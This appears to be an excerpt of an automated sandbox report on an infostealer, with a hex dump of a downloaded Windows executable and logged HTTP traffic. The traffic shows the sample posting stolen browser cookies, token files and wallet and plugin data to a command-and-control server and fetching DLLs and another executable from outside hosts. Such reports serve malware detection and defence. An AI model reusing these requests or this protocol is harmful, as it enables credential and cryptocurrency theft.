00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 76 7a 68 74 62 68 74 00 10 00 00 00 10 32 00 00 06 00 00 00 f4 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 32 00 00 22 00 00 00 fa 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 06 Dec 2024 17:47:11 GMTContent-Type: application/octet-streamContent-Length: 1868288Last-Modified: Fri, 06 Dec 2024 14:24:36 GMTConnection: keep-aliveETag: "67530924-1c8200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 af 50 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 c6 03 00 00 aa 00 00 00 00 00 00 00 50 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4a 00 00 04 00 00 15 7f 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 30 05 00 70 00 00 00 00 20 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 32 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 20 05 00 00 02 00 00 00 42 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 44 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 40 05 00 00 02 00 00 00 46 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 69 6e 6f 73 6f 62 6f 00 20 1a 00 00 20 30 00 00 12 1a 00 00 48 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 75 61 79 77 70 78 62 00 10 00 00 00 40 4a 00 00 06 00 00 00 5a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4a 00 00 22 00 00 00 60 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCFBAAEHCFHJJKEHJKJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 46 44 37 42 41 44 30 32 31 45 32 36 34 33 30 39 35 39 34 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="hwid"EEFD7BAD021E2643095942------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="build"drum------KFCFBAAEHCFHJJKEHJKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGDBFIJKEBGIDGDHCGCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 42 46 49 4a 4b 45 42 47 49 44 47 44 48 43 47 43 2d 2d 0d 0a Data Ascii: ------KEGDBFIJKEBGIDGDHCGCContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------KEGDBFIJKEBGIDGDHCGCContent-Disposition: form-data; name="message"browsers------KEGDBFIJKEBGIDGDHCGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIIIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 2d 2d 0d 0a Data Ascii: ------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="message"plugins------HDAKFCGIJKJKFHIDHIII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEGDBKFIJDAKFIDGHJEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="message"fplugins------KJEGDBKFIJDAKFIDGHJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCBKECAKFBGCAKECGIEHost: 185.215.113.206Content-Length: 7019Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKEGHJDHDAFHIDHCFHDHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 2d 2d 0d 0a Data Ascii: ------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AKKEGHJDHDAFHIDHCFHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHJEBGIEBFIJKEBFBFHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="file"------IDHJEBGIEBFIJKEBFBFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAKKKKJDBKKFIEBKEHDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="file"------ECAKKKKJDBKKFIEBKEHD--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAFHCBFHDHCAAKFHDGDHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAECFCAAEBFHIEHDGHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 2d 2d 0d 0a Data Ascii: ------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="message"wallets------AECAECFCAAEBFHIEHDGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="message"files------BKJEGDGIJECGCBGCGHDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="file"------DBFBFBGDBKJJKFIEHJDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJEGCBKKJECBGCGDBAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 2d 2d 0d 0a Data Ascii: ------CBKJEGCBKKJECBGCGDBAContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------CBKJEGCBKKJECBGCGDBAContent-Disposition: form-data; name="message"ybncbhylepme------CBKJEGCBKKJECBGCGDBA--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDHJKKFBAEGDGDGCBKECHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 